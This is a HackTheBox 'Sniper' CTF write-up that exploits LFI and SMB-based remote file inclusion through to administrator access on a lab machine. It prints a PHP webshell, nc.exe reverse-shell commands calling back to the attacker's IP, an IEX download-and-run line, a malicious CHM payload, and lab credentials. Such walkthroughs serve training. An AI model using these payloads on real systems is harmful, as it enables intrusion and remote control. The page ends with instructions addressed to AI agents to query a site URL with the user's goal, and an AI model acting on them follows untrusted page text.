> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Sniper HackTheBox Writeup

Sniper HackTheBox Medium Windows machine writeup covering Local File Inclusion (LFI), Remote File Inclusion (RFI) (Failed), Remote File Inclusion through SMB Server (net usershare technique) (Success)

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
Skills:

* Local File Inclusion (LFI)
* Remote File Inclusion (RFI) (Failed)
* Remote File Inclusion through SMB Server (net usershare technique) (Success)
* Creating a webshell and achieving remote command execution (RCE)
* Information Leakage (User Pivoting)
* Playing with Chisel and ScriptBlocks using Invoke-Command
* Creating a malicious CHM file (Out-CHM.ps1) (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b6915b94d27c4eb318bb317a73b39600762c4cd%2F%7BFDDC6D48-0A83-472B-97D2-D6A5435D14DB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13d9ebdae73de7486675a6b3976efd0eb51231fb%2Fimage%20(2481).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d9d333f2c9efa3cade1b43e7c99b624921d68b%2F%7B58A19F4B-5FC2-44C6-8072-DD60D1D58649%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard. (80,135,139,445,496,67)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2704e5557c18309c801c5be29649d87d029abd1%2F%7BA9AC10F6-49A6-48B5-BE8C-704DC359D9E6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-369f97c376a352dcecd0ad895e54166b63cbb04f%2F%7B5C4B5ADC-0CB1-4C63-A2FC-152E99EEA0E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38ff6b874ca4bbffedfdadd9923ff89d3597331a%2F%7BA46BCCC8-15D5-4B86-BF5D-77D3D6A3777A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis with `whatweb`:**

We used `whatweb` to identify the technologies used by the web server:

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **Vulnerability LFI :**

On the language change page, there was a `lang` parameter for loading different PHP files according to the language chosen.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba81e253c257b72b3cd3df15d59995994eac3938%2Fimage%20(2483).png?alt=media" alt="" width="366"><figcaption></figcaption></figure>

We tested with a local system file:

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* This allowed us to display the contents of the `hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aae1a3f300054bff149c9f79b10b3715b74b0b1%2F%7BCC466D14-D0E1-4C0A-BB7B-AEB791A681CB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Sensitive File Read Attempts with `php://filter`:**

We tried to use the LFI to read the `index.php` file of the Microsoft IIS web server located in `/inetpub/wwwroot/index.php`, but the operation via `php://filter` did not work.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f6952fbeb4aeaed806b4b5c302123c6281ffd29%2F%7BAEB894E3-AD72-4E6B-93DA-220BA22330D4%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d26389be7361c43d2f2dd11b32b5f7b1441a0a%2F%7B0D4D16A0-7B64-4E4E-8675-A9F2ADF10280%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Remote File Inclusion (RFI) (Failed)

#### RFI test via remote web server:

We tried to load a remote file via the `?lang=http://10.10.14.3/index.html` URL by pointing to our local web server with Python3.

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

But it didn't work.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c972571255d4270db5870c0386e2d19446b3217%2F%7B264F5A3B-1949-4DF5-A1B7-C15A83A37390%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>

## Remote File Inclusion (SMB Server)

**Create SMB server:**

We created a local SMB server using `smbserver.py` and shared the current directory:

```bash
smbserver.py share $(pwd) -smb2support
```

Then we tried to load a file from the SMB server by changing the `lang` parameter

```bash
?lang=/10.10.14.3/share/index.html
```

* This time, the server correctly interpreted our `index.html` file, displaying its content ("Hello World").

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b299bc3d7f0a2787f429db429a43a5716cafff59%2Fimage%20(2484).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Create a PHP webshell file (`cmd.php)`**

We created a `cmd.php` file on our SMB server to execute remote commands via the `cmd` parameter:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* Order execution via SMB/*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

Using the following URL, we executed the `whoami` command:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-401653792fb5d99d8b43d1b66c01a3c526766e0b%2Fimage%20(2485).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Reverse Shell (nc.exe)

**Download `nc.exe` for shell reverse:**/ We recovered the `nc.exe` binary from the running tools in `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` and copied it to the working directory.

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**Listen to port 443:**/ We set up a lister with `nc` to listen on port 443:

```bash
rlwrap nc -nvlp 443
```

**Execution of the reverse shell via SMB:**/ We then launched a shell reverse by pointing the `cmd` parameter to our file

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

So we got a shell reverse to our machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-219834e61616dd01b70028fc6d4d70935b8cf3b0%2F%7B54444252-CE2B-492D-8A2D-7B143D3AB383%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilege Escalation

**Search for sensitive files:**/ We searched for sensitive information in PHP files and found the `db.php` file containing database credentials:

* User: `dbuser`
* Password: `36mEAhz/B8xQ~2VM`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b7d5f894b790e654823bbff405ccff335e56fb4%2Fimage%20(2486).png?alt=media" alt=""><figcaption></figcaption></figure>

**Validation of credentials for another user:**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee4fec3cbeac4d8833f5b2a07b9071a06e70e602%2Fimage%20(2487).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

We discovered another user named **Chris** in addition to the user **Administrator**. We used **CrackMapExec** to validate if `Chris` credentials were valid:

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* The connection was successful.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d2b6fb4c68868d7e92cda08e40e05d2929918d0%2Fimage%20(2488).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verify the privileges of user "Chris":**

* We observed that the user `Chris` belonged to the **Remote Management User** group, allowing him to connect remotely.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5512fcc7d80b6b4bb69d10ee00bfbe05f8264f22%2Fimage%20(2489).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* Analysis of open ports\:/*/*

The port required for the remote connection (port 5985, used by WinRM) was not open externally, but internal. We used `netstat` to check listening ports on the target machine:

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecfb4852b3a69880b17a0f8e0eb1b0d9c4277453%2Fimage%20(2490).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Port Forwarding (5985 WinRm)

### 1. PowerShell

We launched PowerShell on our attack machine:

```bash
powershell
```

We recovered the name of the Windows environment with the command `hostname`, and found that the host name was `Sniper`.

```powershell
hostname
```

Then we created a variable for the user `Chris` and another for the password using `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Then we created a `PSCredential` object to be able to execute remote commands on the target machine:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Execution of remote controls:**/ We used the following command to run `whoami` remotely and validate access:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* This allowed us to confirm that we were well connected as **Chris**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0135fe9e7c807d77b3551354ec1c94572cf7ca0d%2F%7BC164E196-15F9-47E9-8181-332E588D62FD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Reverse shell :**/ To obtain full access to the system, we put in place a lister at port 4444:

```bash
rlwrap nc -nlvp 4444
```

Then we ran a shell reverse using `nc.exe` from our SMB server:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99c89f22dcac66e737d1273b2348e8a191165c7c%2Fimage%20(2491).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Download and prepare files:**/ We downloaded the compressed **Chisel** files, namely:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

After extracting them, we transferred the **Chisel** file for Windows to the target machine:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d526647ace8cb7f952d5af57ecbf78da978c6211%2Fimage%20(2493).png?alt=media" alt=""><figcaption></figcaption></figure>

**Tapping on the attacking machine with Chisel:**/ We launched **Chisel** in server mode on the attacking machine on port 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Then, on the target Windows machine, we executed **Chisel** in client mode to connect to our attacking machine and redirect port 5985 to our machine:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-438d6ad367a6619e2fe2763af5ebc98ca1ea9fa4%2F%7B67FDA5FA-CB70-4448-A6D8-C4DFFDA14342%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Redirected port verification with `lsof`:**/ We checked that port 5985 was well tuned after redirection with the command:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c7b4eaa07406f6667566789036aa68d2536bb0d%2Fimage%20(2494).png?alt=media" alt=""><figcaption></figcaption></figure>

**Login with WinRM:**/ We used **CrackMapExec** to test the connection via **WinRM** on port 5985 redirected:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* We got the symbol **pwned**, confirming that we had managed to access the machine via WinRM.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7fbecdfef69471669790d99c4e16d51399c5d8e%2F%7B7D3C96BD-38E1-4A27-ABBD-256E01F7E278%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Final connection with Evil-WinRM:**/ Finally, we used **Evil-WinRM** to obtain a remote shell as **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62860bda2173707fcb8ff5e3350438efec6ba5d9%2F%7B28DB7A19-C223-4B29-9A72-A37E0D642FA8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploration of the directory "docs":**/ In the root of **Windows**, we found a folder **docs** containing a `note.txt` file with the following message:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f27d8c2d5253a54b9a504d899e563939f0bade2%2Fimage%20(2495).png?alt=media" alt=""><figcaption></figcaption></figure>

> Hi Chris,
>
> Your PHP skills are really bad. Contact Yamitenshi to teach you how to use it, then fix the site because there are a lot of bugs on it. I also hope you prepared the documentation for our new application. Put her down here when you're done.
>
> Cordialement,/ Sniper CEO.

**Search for documentation in the system:**/ We looked for the documentation mentioned by the CEO and found it in the **Downloads** directory under the **instructions.chm** file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96260baa7b6d285ec416c3ea8661fab8ac19d188%2Fimage%20(2496).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Malicious CHM File Creation:**

After finding out that the CEO was looking to view **CHM** files in the **docs** directory, we looked on the Internet for how to create malicious CHM files.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**Download HTML Help Tool:**/ We downloaded **HTML Help** and used a PowerShell script to create a malicious CHM file

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

Then we modified the script to execute a remote malicious command via **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14e3664ea5513e709b0a1b28a5531ea3e5821454%2F%7B94D63DBE-CA13-43CE-A16C-513DF8654BA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee38606559c9f59c21d8f14ecf8ed3815b35f0ec%2F%7BD4FF2C78-CD9D-40A8-9E2F-1A38954D0959%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Injection of malicious CHM file into target directory:**/ We have configured an SMB server on our attack machine to transfer the malicious file to the target Windows machine:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* Connect to SMB sharing from the victim machine:/*/*/ From the target Windows machine, we mounted SMB sharing and copied the malicious `doc.chm` file:

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**Tapping for reverse shell:**/ We launched a lister on our attacking machine, waiting for a reverse shell connection:

```bash
rlwrap nc -nlvp 443
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f26e0b7e81bef0ff65663f9f3f845cb6fd46580%2Fimage%20(1033).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50bebdbafaa2aa8f8b1a0c465de76c2405e881a1%2Fimage%20(1034).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* Problem encountered:/*/*/ Although the CHM file was viewed, we did not receive a reverse shell. However, we managed to capture a **SMB Relay V2** on our server. This provided us with a hash of authentication for user `Administrator`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3efb1c6763f54e56ba7bcef32d7ba7dc50cc371e%2Fimage%20(1035).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Crack the Administrator Hash:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df397d07c9e785acfd58ad1d5315200cb80fe643%2F%7B207D90E0-6246-48CB-B5FF-80F5B9BAC1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Login as administrator:**

With the credentials obtained, we used **Evil-WinRM** to connect to the machine as administrator:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8478e0d89721e97efd4efa65a38a2c8c690a711d%2F%7B04376DF4-AFFA-473A-8C14-35B3800CE43C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c2c9ca17923aca1a90c4e2ed9cb52b988809e6a%2F%7B9A1DEF2C-6F87-486F-A2BB-88638E7F7E14%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-443079a66730b12d7a8288bfca59c0d51e952885%2F%7B1755EF50-6634-4549-81C9-9BC735645AD6%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
